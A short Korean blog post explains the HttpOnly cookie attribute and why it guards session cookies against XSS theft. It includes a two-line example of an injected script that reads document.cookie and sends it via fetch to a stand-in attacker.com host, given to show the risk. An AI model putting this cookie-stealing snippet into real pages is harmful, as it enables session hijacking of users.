웹
[Web] HttpOnly란 ?
leebaek
2025. 5. 3. 13:42
■ HttpOnly란?
■ HttpOnly의 필요성
■ HttpOnly의 특징
최근 프로젝트를 하면서 알게된 개념인데,
왜 HttpOnly를 써야하는지가 궁금하더군요 !
간단하게나마 알면 좋을 것 같아
HttpOnly에 대해 포스팅 해볼겁니다.
■ HttpOnly란?
: 웹 서버가 쿠키를 생성할 때 설정할 수 있는 보안 속성 중 하나
이 속성이 설정된 쿠키느 JavaScript에서 접근할 수 없으며, 오직 HTTP 요청을 통해서만 서버와 주고받을 수 있습니다.
즉, 클라이언트 측의 document.cookie를 통해 쿠키 값을 읽으려고 해도, HttpOnly가 설정된 쿠키는 읽어올 수 없습니다.
■ HttpOnly의 필요성
✨ 쿠키 탈취를 막기 위함
웹 애플리케이션에서 가장 흔한 공격 방식 중 하나는 XSS(크로스 사이트 스크립팅)입니다.
공격자는 웹 페이지에 악성 스크립트를 삽입해 사용자의 쿠키를 탈취할 수 있습니다.
// 공격자가 삽입한 스크립트
const stolen = document.cookie;
fetch('https://attacker.com/steal?cookie=' + stolen);
만약 로그인 세션 토큰이 쿠키에 저장되어 있다면, 이런 방식으로 탈취되어 세션 하이재킹이 가능합니다.
하지만 쿠키에 HttpOnly를 설정해두면 JavaScript로 접근할 수 없기 때문에,
XSS 공격이 성공하더라도 쿠키는 탈취되지 않습니다.
■ HttpOnly의 특징
항목 | 설명 |
JavaScript 접근 제한 | document.cookie에서 보이지 않음 |
자동 전송 | 브라우저가 서버로 요청 시 자동 전송 ( Cookie 헤더 ) |
보안 강화 | XSS 공격으로부터 쿠키 보호 |
설정 방법 | 서버에서 Set-Cookie 응답시 HttpOnly명시 |
단점 | CSRF 공격은 방어하지 못함 ( SamSite 속성과 병행 필요 ) |
HttpOnly 속성 때문에 요며칠 프로젝트가 막힌 상태라 화가났는데,
이런 이유로 사용된다는 것을 아니까 화가 좀 가라앉는 것 같습니다.
공부를 열심히 해야겠습니다 ..!!